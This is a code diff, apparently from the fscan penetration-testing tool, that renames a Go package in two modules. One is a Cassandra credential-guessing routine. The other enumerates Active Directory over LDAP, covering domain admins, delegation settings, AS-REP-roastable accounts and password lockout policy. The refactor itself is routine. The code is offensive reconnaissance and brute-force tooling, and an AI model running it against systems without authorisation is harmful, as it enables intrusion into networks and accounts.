Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retry+1, credential.Username, credential.Password)) common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retry+1, credential.Username, credential.Password))
time.Sleep(500 * time.Millisecond) // 重试前等待 time.Sleep(500 * time.Millisecond) // 重试前等待
} }
@ -212,7 +213,7 @@ func tryCassandraCredential(ctx context.Context, info *Common.HostInfo, credenti
lastErr = err lastErr = err
if err != nil { if err != nil {
// 检查是否需要重试 // 检查是否需要重试
if retryErr := Common.CheckErrs(err); retryErr == nil { if retryErr := common.CheckErrs(err); retryErr == nil {
break // 不需要重试的错误 break // 不需要重试的错误
} }
} }
@ -227,9 +228,9 @@ func tryCassandraCredential(ctx context.Context, info *Common.HostInfo, credenti
} }
// CassandraConn 尝试Cassandra连接支持上下文超时 // CassandraConn 尝试Cassandra连接支持上下文超时
func CassandraConn(ctx context.Context, info *Common.HostInfo, user string, pass string) (bool, error) { func CassandraConn(ctx context.Context, info *common.HostInfo, user string, pass string) (bool, error) {
host, port := info.Host, info.Ports host, port := info.Host, info.Ports
timeout := time.Duration(Common.Timeout) * time.Second timeout := time.Duration(common.Timeout) * time.Second
cluster := gocql.NewCluster(host) cluster := gocql.NewCluster(host)
cluster.Port, _ = strconv.Atoi(port) cluster.Port, _ = strconv.Atoi(port)
@ -239,7 +240,7 @@ func CassandraConn(ctx context.Context, info *Common.HostInfo, user string, pass
cluster.Consistency = gocql.One cluster.Consistency = gocql.One
// 如果配置了代理设置自定义Dialer // 如果配置了代理设置自定义Dialer
if Common.Socks5Proxy != "" { if common.Socks5Proxy != "" {
cluster.Dialer = &CassandraProxyDialer{ cluster.Dialer = &CassandraProxyDialer{
timeout: timeout, timeout: timeout,
} }
@ -325,7 +326,7 @@ func CassandraConn(ctx context.Context, info *Common.HostInfo, user string, pass
} }
// saveCassandraSuccess 记录并保存Cassandra成功结果 // saveCassandraSuccess 记录并保存Cassandra成功结果
func saveCassandraSuccess(info *Common.HostInfo, target string, credential CassandraCredential, isAnonymous bool) { func saveCassandraSuccess(info *common.HostInfo, target string, credential CassandraCredential, isAnonymous bool) {
var successMsg string var successMsg string
var details map[string]interface{} var details map[string]interface{}
@ -350,15 +351,15 @@ func saveCassandraSuccess(info *Common.HostInfo, target string, credential Cassa
} }
} }
Common.LogSuccess(successMsg) common.LogSuccess(successMsg)
// 保存结果 // 保存结果
result := &Common.ScanResult{ result := &output.ScanResult{
Time: time.Now(), Time: time.Now(),
Type: Common.VULN, Type: output.TypeVuln,
Target: info.Host, Target: info.Host,
Status: "vulnerable", Status: "vulnerable",
Details: details, Details: details,
} }
Common.SaveResult(result) common.SaveResult(result)
} }

View File

@ -6,7 +6,7 @@ import (
"fmt" "fmt"
"github.com/go-ldap/ldap/v3" "github.com/go-ldap/ldap/v3"
"github.com/go-ldap/ldap/v3/gssapi" "github.com/go-ldap/ldap/v3/gssapi"
"github.com/shadow1ng/fscan/Common" "github.com/shadow1ng/fscan/common"
"os/exec" "os/exec"
"strconv" "strconv"
"strings" "strings"
@ -24,7 +24,7 @@ func (d *DomainInfo) Close() {
} }
func (d *DomainInfo) GetCAComputers() ([]string, error) { func (d *DomainInfo) GetCAComputers() ([]string, error) {
Common.LogDebug("开始查询域内CA服务器...") common.LogDebug("开始查询域内CA服务器...")
searchRequest := ldap.NewSearchRequest( searchRequest := ldap.NewSearchRequest(
"CN=Configuration,"+d.baseDN, "CN=Configuration,"+d.baseDN,
@ -40,7 +40,7 @@ func (d *DomainInfo) GetCAComputers() ([]string, error) {
sr, err := d.conn.SearchWithPaging(searchRequest, 10000) sr, err := d.conn.SearchWithPaging(searchRequest, 10000)
if err != nil { if err != nil {
Common.LogError(fmt.Sprintf("查询CA服务器失败: %v", err)) common.LogError(fmt.Sprintf("查询CA服务器失败: %v", err))
return nil, err return nil, err
} }
@ -49,21 +49,21 @@ func (d *DomainInfo) GetCAComputers() ([]string, error) {
cn := entry.GetAttributeValue("cn") cn := entry.GetAttributeValue("cn")
if cn != "" { if cn != "" {
caComputers = append(caComputers, cn) caComputers = append(caComputers, cn)
Common.LogDebug(fmt.Sprintf("发现CA服务器: %s", cn)) common.LogDebug(fmt.Sprintf("发现CA服务器: %s", cn))
} }
} }
if len(caComputers) > 0 { if len(caComputers) > 0 {
Common.LogSuccess(fmt.Sprintf("共发现 %d 个CA服务器", len(caComputers))) common.LogSuccess(fmt.Sprintf("共发现 %d 个CA服务器", len(caComputers)))
} else { } else {
Common.LogDebug("未发现CA服务器") common.LogDebug("未发现CA服务器")
} }
return caComputers, nil return caComputers, nil
} }
func (d *DomainInfo) GetExchangeServers() ([]string, error) { func (d *DomainInfo) GetExchangeServers() ([]string, error) {
Common.LogDebug("开始查询Exchange服务器...") common.LogDebug("开始查询Exchange服务器...")
searchRequest := ldap.NewSearchRequest( searchRequest := ldap.NewSearchRequest(
d.baseDN, d.baseDN,
@ -79,7 +79,7 @@ func (d *DomainInfo) GetExchangeServers() ([]string, error) {
sr, err := d.conn.SearchWithPaging(searchRequest, 10000) sr, err := d.conn.SearchWithPaging(searchRequest, 10000)
if err != nil { if err != nil {
Common.LogError(fmt.Sprintf("查询Exchange服务器失败: %v", err)) common.LogError(fmt.Sprintf("查询Exchange服务器失败: %v", err))
return nil, err return nil, err
} }
@ -88,7 +88,7 @@ func (d *DomainInfo) GetExchangeServers() ([]string, error) {
for _, member := range entry.GetAttributeValues("member") { for _, member := range entry.GetAttributeValues("member") {
if member != "" { if member != "" {
exchangeServers = append(exchangeServers, member) exchangeServers = append(exchangeServers, member)
Common.LogDebug(fmt.Sprintf("发现Exchange服务器成员: %s", member)) common.LogDebug(fmt.Sprintf("发现Exchange服务器成员: %s", member))
} }
} }
} }
@ -96,20 +96,20 @@ func (d *DomainInfo) GetExchangeServers() ([]string, error) {
// 移除第一个条目(如果存在) // 移除第一个条目(如果存在)
if len(exchangeServers) > 1 { if len(exchangeServers) > 1 {
exchangeServers = exchangeServers[1:] exchangeServers = exchangeServers[1:]
Common.LogDebug("移除第一个条目") common.LogDebug("移除第一个条目")
} }
if len(exchangeServers) > 0 { if len(exchangeServers) > 0 {
Common.LogSuccess(fmt.Sprintf("共发现 %d 个Exchange服务器", len(exchangeServers))) common.LogSuccess(fmt.Sprintf("共发现 %d 个Exchange服务器", len(exchangeServers)))
} else { } else {
Common.LogDebug("未发现Exchange服务器") common.LogDebug("未发现Exchange服务器")
} }
return exchangeServers, nil return exchangeServers, nil
} }
func (d *DomainInfo) GetMsSqlServers() ([]string, error) { func (d *DomainInfo) GetMsSqlServers() ([]string, error) {
Common.LogDebug("开始查询SQL Server服务器...") common.LogDebug("开始查询SQL Server服务器...")
searchRequest := ldap.NewSearchRequest( searchRequest := ldap.NewSearchRequest(
d.baseDN, d.baseDN,
@ -125,7 +125,7 @@ func (d *DomainInfo) GetMsSqlServers() ([]string, error) {
sr, err := d.conn.SearchWithPaging(searchRequest, 10000) sr, err := d.conn.SearchWithPaging(searchRequest, 10000)
if err != nil { if err != nil {
Common.LogError(fmt.Sprintf("查询SQL Server失败: %v", err)) common.LogError(fmt.Sprintf("查询SQL Server失败: %v", err))
return nil, err return nil, err
} }
@ -134,43 +134,43 @@ func (d *DomainInfo) GetMsSqlServers() ([]string, error) {
name := entry.GetAttributeValue("name") name := entry.GetAttributeValue("name")
if name != "" { if name != "" {
sqlServers = append(sqlServers, name) sqlServers = append(sqlServers, name)
Common.LogDebug(fmt.Sprintf("发现SQL Server: %s", name)) common.LogDebug(fmt.Sprintf("发现SQL Server: %s", name))
} }
} }
if len(sqlServers) > 0 { if len(sqlServers) > 0 {
Common.LogSuccess(fmt.Sprintf("共发现 %d 个SQL Server", len(sqlServers))) common.LogSuccess(fmt.Sprintf("共发现 %d 个SQL Server", len(sqlServers)))
} else { } else {
Common.LogDebug("未发现SQL Server") common.LogDebug("未发现SQL Server")
} }
return sqlServers, nil return sqlServers, nil
} }
func (d *DomainInfo) GetSpecialComputers() (map[string][]string, error) { func (d *DomainInfo) GetSpecialComputers() (map[string][]string, error) {
Common.LogDebug("开始查询特殊计算机...") common.LogDebug("开始查询特殊计算机...")
results := make(map[string][]string) results := make(map[string][]string)
// 获取SQL Server // 获取SQL Server
Common.LogDebug("正在查询SQL Server...") common.LogDebug("正在查询SQL Server...")
sqlServers, err := d.GetMsSqlServers() sqlServers, err := d.GetMsSqlServers()
if err == nil && len(sqlServers) > 0 { if err == nil && len(sqlServers) > 0 {
results["SQL服务器"] = sqlServers results["SQL服务器"] = sqlServers
} else if err != nil { } else if err != nil {
Common.LogError(fmt.Sprintf("查询SQL Server时出错: %v", err)) common.LogError(fmt.Sprintf("查询SQL Server时出错: %v", err))
} }
// 获取CA服务器 // 获取CA服务器
Common.LogDebug("正在查询CA服务器...") common.LogDebug("正在查询CA服务器...")
caComputers, err := d.GetCAComputers() caComputers, err := d.GetCAComputers()
if err == nil && len(caComputers) > 0 { if err == nil && len(caComputers) > 0 {
results["CA服务器"] = caComputers results["CA服务器"] = caComputers
} else if err != nil { } else if err != nil {
Common.LogError(fmt.Sprintf("查询CA服务器时出错: %v", err)) common.LogError(fmt.Sprintf("查询CA服务器时出错: %v", err))
} }
// 获取域控制器 // 获取域控制器
Common.LogDebug("正在查询域控制器...") common.LogDebug("正在查询域控制器...")
dcQuery := ldap.NewSearchRequest( dcQuery := ldap.NewSearchRequest(
d.baseDN, d.baseDN,
ldap.ScopeWholeSubtree, ldap.ScopeWholeSubtree,
@ -189,42 +189,42 @@ func (d *DomainInfo) GetSpecialComputers() (map[string][]string, error) {
name := entry.GetAttributeValue("cn") name := entry.GetAttributeValue("cn")
if name != "" { if name != "" {
dcs = append(dcs, name) dcs = append(dcs, name)
Common.LogDebug(fmt.Sprintf("发现域控制器: %s", name)) common.LogDebug(fmt.Sprintf("发现域控制器: %s", name))
} }
} }
if len(dcs) > 0 { if len(dcs) > 0 {
results["域控制器"] = dcs results["域控制器"] = dcs
Common.LogSuccess(fmt.Sprintf("共发现 %d 个域控制器", len(dcs))) common.LogSuccess(fmt.Sprintf("共发现 %d 个域控制器", len(dcs)))
} else { } else {
Common.LogDebug("未发现域控制器") common.LogDebug("未发现域控制器")
} }
} else { } else {
Common.LogError(fmt.Sprintf("查询域控制器时出错: %v", err)) common.LogError(fmt.Sprintf("查询域控制器时出错: %v", err))
} }
// 获取Exchange服务器 // 获取Exchange服务器
Common.LogDebug("正在查询Exchange服务器...") common.LogDebug("正在查询Exchange服务器...")
exchangeServers, err := d.GetExchangeServers() exchangeServers, err := d.GetExchangeServers()
if err == nil && len(exchangeServers) > 0 { if err == nil && len(exchangeServers) > 0 {
results["Exchange服务器"] = exchangeServers results["Exchange服务器"] = exchangeServers
} else if err != nil { } else if err != nil {
Common.LogError(fmt.Sprintf("查询Exchange服务器时出错: %v", err)) common.LogError(fmt.Sprintf("查询Exchange服务器时出错: %v", err))
} }
if len(results) > 0 { if len(results) > 0 {
Common.LogSuccess(fmt.Sprintf("特殊计算机查询完成,共发现 %d 类服务器", len(results))) common.LogSuccess(fmt.Sprintf("特殊计算机查询完成,共发现 %d 类服务器", len(results)))
for serverType, servers := range results { for serverType, servers := range results {
Common.LogDebug(fmt.Sprintf("%s: %d 台", serverType, len(servers))) common.LogDebug(fmt.Sprintf("%s: %d 台", serverType, len(servers)))
} }
} else { } else {
Common.LogDebug("未发现任何特殊计算机") common.LogDebug("未发现任何特殊计算机")
} }
return results, nil return results, nil
} }
func (d *DomainInfo) GetDomainUsers() ([]string, error) { func (d *DomainInfo) GetDomainUsers() ([]string, error) {
Common.LogDebug("开始查询域用户...") common.LogDebug("开始查询域用户...")
searchRequest := ldap.NewSearchRequest( searchRequest := ldap.NewSearchRequest(
d.baseDN, d.baseDN,
@ -240,7 +240,7 @@ func (d *DomainInfo) GetDomainUsers() ([]string, error) {
sr, err := d.conn.SearchWithPaging(searchRequest, 10000) sr, err := d.conn.SearchWithPaging(searchRequest, 10000)
if err != nil { if err != nil {
Common.LogError(fmt.Sprintf("查询域用户失败: %v", err)) common.LogError(fmt.Sprintf("查询域用户失败: %v", err))
return nil, err return nil, err
} }
@ -249,21 +249,21 @@ func (d *DomainInfo) GetDomainUsers() ([]string, error) {
username := entry.GetAttributeValue("sAMAccountName") username := entry.GetAttributeValue("sAMAccountName")
if username != "" { if username != "" {
users = append(users, username) users = append(users, username)
Common.LogDebug(fmt.Sprintf("发现用户: %s", username)) common.LogDebug(fmt.Sprintf("发现用户: %s", username))
} }
} }
if len(users) > 0 { if len(users) > 0 {
Common.LogSuccess(fmt.Sprintf("共发现 %d 个域用户", len(users))) common.LogSuccess(fmt.Sprintf("共发现 %d 个域用户", len(users)))
} else { } else {
Common.LogDebug("未发现域用户") common.LogDebug("未发现域用户")
} }
return users, nil return users, nil
} }
func (d *DomainInfo) GetDomainAdmins() ([]string, error) { func (d *DomainInfo) GetDomainAdmins() ([]string, error) {
Common.LogDebug("开始查询域管理员...") common.LogDebug("开始查询域管理员...")
searchRequest := ldap.NewSearchRequest( searchRequest := ldap.NewSearchRequest(
d.baseDN, d.baseDN,
@ -279,14 +279,14 @@ func (d *DomainInfo) GetDomainAdmins() ([]string, error) {
sr, err := d.conn.SearchWithPaging(searchRequest, 10000) sr, err := d.conn.SearchWithPaging(searchRequest, 10000)
if err != nil { if err != nil {
Common.LogError(fmt.Sprintf("查询Domain Admins组失败: %v", err)) common.LogError(fmt.Sprintf("查询Domain Admins组失败: %v", err))
return nil, err return nil, err
} }
var admins []string var admins []string
if len(sr.Entries) > 0 { if len(sr.Entries) > 0 {
members := sr.Entries[0].GetAttributeValues("member") members := sr.Entries[0].GetAttributeValues("member")
Common.LogDebug(fmt.Sprintf("发现 %d 个Domain Admins组成员", len(members))) common.LogDebug(fmt.Sprintf("发现 %d 个Domain Admins组成员", len(members)))
for _, memberDN := range members { for _, memberDN := range members {
memberSearch := ldap.NewSearchRequest( memberSearch := ldap.NewSearchRequest(
@ -303,7 +303,7 @@ func (d *DomainInfo) GetDomainAdmins() ([]string, error) {
memberResult, err := d.conn.Search(memberSearch) memberResult, err := d.conn.Search(memberSearch)
if err != nil { if err != nil {
Common.LogError(fmt.Sprintf("查询成员 %s 失败: %v", memberDN, err)) common.LogError(fmt.Sprintf("查询成员 %s 失败: %v", memberDN, err))
continue continue
} }
@ -311,23 +311,23 @@ func (d *DomainInfo) GetDomainAdmins() ([]string, error) {
samAccountName := memberResult.Entries[0].GetAttributeValue("sAMAccountName") samAccountName := memberResult.Entries[0].GetAttributeValue("sAMAccountName")
if samAccountName != "" { if samAccountName != "" {
admins = append(admins, samAccountName) admins = append(admins, samAccountName)
Common.LogDebug(fmt.Sprintf("发现域管理员: %s", samAccountName)) common.LogDebug(fmt.Sprintf("发现域管理员: %s", samAccountName))
} }
} }
} }
} }
if len(admins) > 0 { if len(admins) > 0 {
Common.LogSuccess(fmt.Sprintf("共发现 %d 个域管理员", len(admins))) common.LogSuccess(fmt.Sprintf("共发现 %d 个域管理员", len(admins)))
} else { } else {
Common.LogDebug("未发现域管理员") common.LogDebug("未发现域管理员")
} }
return admins, nil return admins, nil
} }
func (d *DomainInfo) GetOUs() ([]string, error) { func (d *DomainInfo) GetOUs() ([]string, error) {
Common.LogDebug("开始查询组织单位(OU)...") common.LogDebug("开始查询组织单位(OU)...")
searchRequest := ldap.NewSearchRequest( searchRequest := ldap.NewSearchRequest(
d.baseDN, d.baseDN,
@ -343,7 +343,7 @@ func (d *DomainInfo) GetOUs() ([]string, error) {
sr, err := d.conn.SearchWithPaging(searchRequest, 10000) sr, err := d.conn.SearchWithPaging(searchRequest, 10000)
if err != nil { if err != nil {
Common.LogError(fmt.Sprintf("查询OU失败: %v", err)) common.LogError(fmt.Sprintf("查询OU失败: %v", err))
return nil, err return nil, err
} }
@ -352,21 +352,21 @@ func (d *DomainInfo) GetOUs() ([]string, error) {
ou := entry.GetAttributeValue("ou") ou := entry.GetAttributeValue("ou")
if ou != "" { if ou != "" {
ous = append(ous, ou) ous = append(ous, ou)
Common.LogDebug(fmt.Sprintf("发现OU: %s", ou)) common.LogDebug(fmt.Sprintf("发现OU: %s", ou))
} }
} }
if len(ous) > 0 { if len(ous) > 0 {
Common.LogSuccess(fmt.Sprintf("共发现 %d 个组织单位", len(ous))) common.LogSuccess(fmt.Sprintf("共发现 %d 个组织单位", len(ous)))
} else { } else {
Common.LogDebug("未发现组织单位") common.LogDebug("未发现组织单位")
} }
return ous, nil return ous, nil
} }
func (d *DomainInfo) GetComputers() ([]Computer, error) { func (d *DomainInfo) GetComputers() ([]Computer, error) {
Common.LogDebug("开始查询域内计算机...") common.LogDebug("开始查询域内计算机...")
searchRequest := ldap.NewSearchRequest( searchRequest := ldap.NewSearchRequest(
d.baseDN, d.baseDN,
@ -382,7 +382,7 @@ func (d *DomainInfo) GetComputers() ([]Computer, error) {
sr, err := d.conn.SearchWithPaging(searchRequest, 10000) sr, err := d.conn.SearchWithPaging(searchRequest, 10000)
if err != nil { if err != nil {
Common.LogError(fmt.Sprintf("查询计算机失败: %v", err)) common.LogError(fmt.Sprintf("查询计算机失败: %v", err))
return nil, err return nil, err
} }
@ -394,14 +394,14 @@ func (d *DomainInfo) GetComputers() ([]Computer, error) {
DNSHostName: entry.GetAttributeValue("dNSHostName"), DNSHostName: entry.GetAttributeValue("dNSHostName"),
} }
computers = append(computers, computer) computers = append(computers, computer)
Common.LogDebug(fmt.Sprintf("发现计算机: %s (OS: %s, DNS: %s)", common.LogDebug(fmt.Sprintf("发现计算机: %s (OS: %s, DNS: %s)",
computer.Name, computer.Name,
computer.OperatingSystem, computer.OperatingSystem,
computer.DNSHostName)) computer.DNSHostName))
} }
if len(computers) > 0 { if len(computers) > 0 {
Common.LogSuccess(fmt.Sprintf("共发现 %d 台计算机", len(computers))) common.LogSuccess(fmt.Sprintf("共发现 %d 台计算机", len(computers)))
// 统计操作系统分布 // 统计操作系统分布
osCount := make(map[string]int) osCount := make(map[string]int)
@ -412,10 +412,10 @@ func (d *DomainInfo) GetComputers() ([]Computer, error) {
} }
for os, count := range osCount { for os, count := range osCount {
Common.LogDebug(fmt.Sprintf("操作系统 %s: %d 台", os, count)) common.LogDebug(fmt.Sprintf("操作系统 %s: %d 台", os, count))
} }
} else { } else {
Common.LogDebug("未发现计算机") common.LogDebug("未发现计算机")
} }
return computers, nil return computers, nil
@ -429,7 +429,7 @@ type Computer struct {
} }
func (d *DomainInfo) GetTrustDomains() ([]string, error) { func (d *DomainInfo) GetTrustDomains() ([]string, error) {
Common.LogDebug("开始查询域信任关系...") common.LogDebug("开始查询域信任关系...")
searchRequest := ldap.NewSearchRequest( searchRequest := ldap.NewSearchRequest(
d.baseDN, d.baseDN,
@ -445,7 +445,7 @@ func (d *DomainInfo) GetTrustDomains() ([]string, error) {
sr, err := d.conn.SearchWithPaging(searchRequest, 10000) sr, err := d.conn.SearchWithPaging(searchRequest, 10000)
if err != nil { if err != nil {
Common.LogError(fmt.Sprintf("查询信任域失败: %v", err)) common.LogError(fmt.Sprintf("查询信任域失败: %v", err))
return nil, err return nil, err
} }
@ -454,21 +454,21 @@ func (d *DomainInfo) GetTrustDomains() ([]string, error) {
cn := entry.GetAttributeValue("cn") cn := entry.GetAttributeValue("cn")
if cn != "" { if cn != "" {
trustInfo = append(trustInfo, cn) trustInfo = append(trustInfo, cn)
Common.LogDebug(fmt.Sprintf("发现信任域: %s", cn)) common.LogDebug(fmt.Sprintf("发现信任域: %s", cn))
} }
} }
if len(trustInfo) > 0 { if len(trustInfo) > 0 {
Common.LogSuccess(fmt.Sprintf("共发现 %d 个信任域", len(trustInfo))) common.LogSuccess(fmt.Sprintf("共发现 %d 个信任域", len(trustInfo)))
} else { } else {
Common.LogDebug("未发现信任域关系") common.LogDebug("未发现信任域关系")
} }
return trustInfo, nil return trustInfo, nil
} }
func (d *DomainInfo) GetAdminGroups() (map[string][]string, error) { func (d *DomainInfo) GetAdminGroups() (map[string][]string, error) {
Common.LogDebug("开始查询管理员组信息...") common.LogDebug("开始查询管理员组信息...")
adminGroups := map[string]string{ adminGroups := map[string]string{
"Domain Admins": "(&(objectClass=group)(cn=Domain Admins))", "Domain Admins": "(&(objectClass=group)(cn=Domain Admins))",
@ -479,7 +479,7 @@ func (d *DomainInfo) GetAdminGroups() (map[string][]string, error) {
results := make(map[string][]string) results := make(map[string][]string)
for groupName, filter := range adminGroups { for groupName, filter := range adminGroups {
Common.LogDebug(fmt.Sprintf("正在查询 %s 组...", groupName)) common.LogDebug(fmt.Sprintf("正在查询 %s 组...", groupName))
searchRequest := ldap.NewSearchRequest( searchRequest := ldap.NewSearchRequest(
d.baseDN, d.baseDN,
@ -495,7 +495,7 @@ func (d *DomainInfo) GetAdminGroups() (map[string][]string, error) {
sr, err := d.conn.SearchWithPaging(searchRequest, 10000) sr, err := d.conn.SearchWithPaging(searchRequest, 10000)
if err != nil { if err != nil {
Common.LogError(fmt.Sprintf("查询 %s 组失败: %v", groupName, err)) common.LogError(fmt.Sprintf("查询 %s 组失败: %v", groupName, err))
continue continue
} }
@ -503,27 +503,27 @@ func (d *DomainInfo) GetAdminGroups() (map[string][]string, error) {
members := sr.Entries[0].GetAttributeValues("member") members := sr.Entries[0].GetAttributeValues("member")
if len(members) > 0 { if len(members) > 0 {
results[groupName] = members results[groupName] = members
Common.LogDebug(fmt.Sprintf("%s 组成员数量: %d", groupName, len(members))) common.LogDebug(fmt.Sprintf("%s 组成员数量: %d", groupName, len(members)))
for _, member := range members { for _, member := range members {
Common.LogDebug(fmt.Sprintf("- %s: %s", groupName, member)) common.LogDebug(fmt.Sprintf("- %s: %s", groupName, member))
} }
} else { } else {
Common.LogDebug(fmt.Sprintf("%s 组未发现成员", groupName)) common.LogDebug(fmt.Sprintf("%s 组未发现成员", groupName))
} }
} }
} }
if len(results) > 0 { if len(results) > 0 {
Common.LogSuccess(fmt.Sprintf("共发现 %d 个管理员组", len(results))) common.LogSuccess(fmt.Sprintf("共发现 %d 个管理员组", len(results)))
} else { } else {
Common.LogDebug("未发现管理员组信息") common.LogDebug("未发现管理员组信息")
} }
return results, nil return results, nil
} }
func (d *DomainInfo) GetDelegation() (map[string][]string, error) { func (d *DomainInfo) GetDelegation() (map[string][]string, error) {
Common.LogDebug("开始查询委派信息...") common.LogDebug("开始查询委派信息...")
delegationQueries := map[string]string{ delegationQueries := map[string]string{
"非约束委派": "(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))", "非约束委派": "(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))",
@ -534,7 +534,7 @@ func (d *DomainInfo) GetDelegation() (map[string][]string, error) {
results := make(map[string][]string) results := make(map[string][]string)
for delegationType, query := range delegationQueries { for delegationType, query := range delegationQueries {
Common.LogDebug(fmt.Sprintf("正在查询%s...", delegationType)) common.LogDebug(fmt.Sprintf("正在查询%s...", delegationType))
searchRequest := ldap.NewSearchRequest( searchRequest := ldap.NewSearchRequest(
d.baseDN, d.baseDN,
@ -550,7 +550,7 @@ func (d *DomainInfo) GetDelegation() (map[string][]string, error) {
sr, err := d.conn.SearchWithPaging(searchRequest, 10000) sr, err := d.conn.SearchWithPaging(searchRequest, 10000)
if err != nil { if err != nil {
Common.LogError(fmt.Sprintf("查询%s失败: %v", delegationType, err)) common.LogError(fmt.Sprintf("查询%s失败: %v", delegationType, err))
continue continue
} }
@ -559,22 +559,22 @@ func (d *DomainInfo) GetDelegation() (map[string][]string, error) {
cn := entry.GetAttributeValue("cn") cn := entry.GetAttributeValue("cn")
if cn != "" { if cn != "" {
entries = append(entries, cn) entries = append(entries, cn)
Common.LogDebug(fmt.Sprintf("发现%s: %s", delegationType, cn)) common.LogDebug(fmt.Sprintf("发现%s: %s", delegationType, cn))
} }
} }
if len(entries) > 0 { if len(entries) > 0 {
results[delegationType] = entries results[delegationType] = entries
Common.LogSuccess(fmt.Sprintf("%s: 发现 %d 条记录", delegationType, len(entries))) common.LogSuccess(fmt.Sprintf("%s: 发现 %d 条记录", delegationType, len(entries)))
} else { } else {
Common.LogDebug(fmt.Sprintf("未发现%s记录", delegationType)) common.LogDebug(fmt.Sprintf("未发现%s记录", delegationType))
} }
} }
if len(results) > 0 { if len(results) > 0 {
Common.LogSuccess(fmt.Sprintf("共发现 %d 类委派配置", len(results))) common.LogSuccess(fmt.Sprintf("共发现 %d 类委派配置", len(results)))
} else { } else {
Common.LogDebug("未发现任何委派配置") common.LogDebug("未发现任何委派配置")
} }
return results, nil return results, nil
@ -582,7 +582,7 @@ func (d *DomainInfo) GetDelegation() (map[string][]string, error) {
// 获取AS-REP Roasting漏洞用户 // 获取AS-REP Roasting漏洞用户
func (d *DomainInfo) GetAsrepRoastUsers() ([]string, error) { func (d *DomainInfo) GetAsrepRoastUsers() ([]string, error) {
Common.LogDebug("开始查询AS-REP Roasting漏洞用户...") common.LogDebug("开始查询AS-REP Roasting漏洞用户...")
searchRequest := ldap.NewSearchRequest( searchRequest := ldap.NewSearchRequest(
d.baseDN, d.baseDN,
@ -598,7 +598,7 @@ func (d *DomainInfo) GetAsrepRoastUsers() ([]string, error) {
sr, err := d.conn.SearchWithPaging(searchRequest, 10000) sr, err := d.conn.SearchWithPaging(searchRequest, 10000)
if err != nil { if err != nil {
Common.LogError(fmt.Sprintf("查询AS-REP Roasting漏洞用户失败: %v", err)) common.LogError(fmt.Sprintf("查询AS-REP Roasting漏洞用户失败: %v", err))
return nil, err return nil, err
} }
@ -607,21 +607,21 @@ func (d *DomainInfo) GetAsrepRoastUsers() ([]string, error) {
name := entry.GetAttributeValue("sAMAccountName") name := entry.GetAttributeValue("sAMAccountName")
if name != "" { if name != "" {
users = append(users, name) users = append(users, name)
Common.LogDebug(fmt.Sprintf("发现存在AS-REP Roasting漏洞的用户: %s", name)) common.LogDebug(fmt.Sprintf("发现存在AS-REP Roasting漏洞的用户: %s", name))
} }
} }
if len(users) > 0 { if len(users) > 0 {
Common.LogSuccess(fmt.Sprintf("共发现 %d 个存在AS-REP Roasting漏洞的用户", len(users))) common.LogSuccess(fmt.Sprintf("共发现 %d 个存在AS-REP Roasting漏洞的用户", len(users)))
} else { } else {
Common.LogDebug("未发现存在AS-REP Roasting漏洞的用户") common.LogDebug("未发现存在AS-REP Roasting漏洞的用户")
} }
return users, nil return users, nil
} }
func (d *DomainInfo) GetPasswordPolicy() (map[string]string, error) { func (d *DomainInfo) GetPasswordPolicy() (map[string]string, error) {
Common.LogDebug("开始查询域密码策略...") common.LogDebug("开始查询域密码策略...")
searchRequest := ldap.NewSearchRequest( searchRequest := ldap.NewSearchRequest(
d.baseDN, d.baseDN,
@ -645,12 +645,12 @@ func (d *DomainInfo) GetPasswordPolicy() (map[string]string, error) {
sr, err := d.conn.Search(searchRequest) sr, err := d.conn.Search(searchRequest)
if err != nil { if err != nil {
Common.LogError(fmt.Sprintf("查询密码策略失败: %v", err)) common.LogError(fmt.Sprintf("查询密码策略失败: %v", err))
return nil, err return nil, err
} }
if len(sr.Entries) == 0 { if len(sr.Entries) == 0 {
Common.LogError("未找到密码策略信息") common.LogError("未找到密码策略信息")
return nil, fmt.Errorf("未找到密码策略信息") return nil, fmt.Errorf("未找到密码策略信息")
} }
@ -663,47 +663,47 @@ func (d *DomainInfo) GetPasswordPolicy() (map[string]string, error) {
if maxAgeInt != 0 { if maxAgeInt != 0 {
days := float64(maxAgeInt) * -1 / float64(864000000000) days := float64(maxAgeInt) * -1 / float64(864000000000)
policy["最大密码期限"] = fmt.Sprintf("%.0f天", days) policy["最大密码期限"] = fmt.Sprintf("%.0f天", days)
Common.LogDebug(fmt.Sprintf("最大密码期限: %.0f天", days)) common.LogDebug(fmt.Sprintf("最大密码期限: %.0f天", days))
} }
} }
if minLength := entry.GetAttributeValue("minPwdLength"); minLength != "" { if minLength := entry.GetAttributeValue("minPwdLength"); minLength != "" {
policy["最小密码长度"] = minLength + "个字符" policy["最小密码长度"] = minLength + "个字符"
Common.LogDebug(fmt.Sprintf("最小密码长度: %s个字符", minLength)) common.LogDebug(fmt.Sprintf("最小密码长度: %s个字符", minLength))
} }
if historyLength := entry.GetAttributeValue("pwdHistoryLength"); historyLength != "" { if historyLength := entry.GetAttributeValue("pwdHistoryLength"); historyLength != "" {
policy["密码历史长度"] = historyLength + "个" policy["密码历史长度"] = historyLength + "个"
Common.LogDebug(fmt.Sprintf("密码历史长度: %s个", historyLength)) common.LogDebug(fmt.Sprintf("密码历史长度: %s个", historyLength))
} }
if lockoutThreshold := entry.GetAttributeValue("lockoutThreshold"); lockoutThreshold != "" { if lockoutThreshold := entry.GetAttributeValue("lockoutThreshold"); lockoutThreshold != "" {
policy["账户锁定阈值"] = lockoutThreshold + "次" policy["账户锁定阈值"] = lockoutThreshold + "次"
Common.LogDebug(fmt.Sprintf("账户锁定阈值: %s次", lockoutThreshold)) common.LogDebug(fmt.Sprintf("账户锁定阈值: %s次", lockoutThreshold))
} }
if len(policy) > 0 { if len(policy) > 0 {
Common.LogSuccess(fmt.Sprintf("成功获取域密码策略,共 %d 项配置", len(policy))) common.LogSuccess(fmt.Sprintf("成功获取域密码策略,共 %d 项配置", len(policy)))
// 安全性评估 // 安全性评估
minLengthInt, _ := strconv.Atoi(strings.TrimSuffix(policy["最小密码长度"], "个字符")) minLengthInt, _ := strconv.Atoi(strings.TrimSuffix(policy["最小密码长度"], "个字符"))
if minLengthInt < 8 { if minLengthInt < 8 {
Common.LogDebug("警告密码最小长度小于8个字符存在安全风险") common.LogDebug("警告密码最小长度小于8个字符存在安全风险")
} }
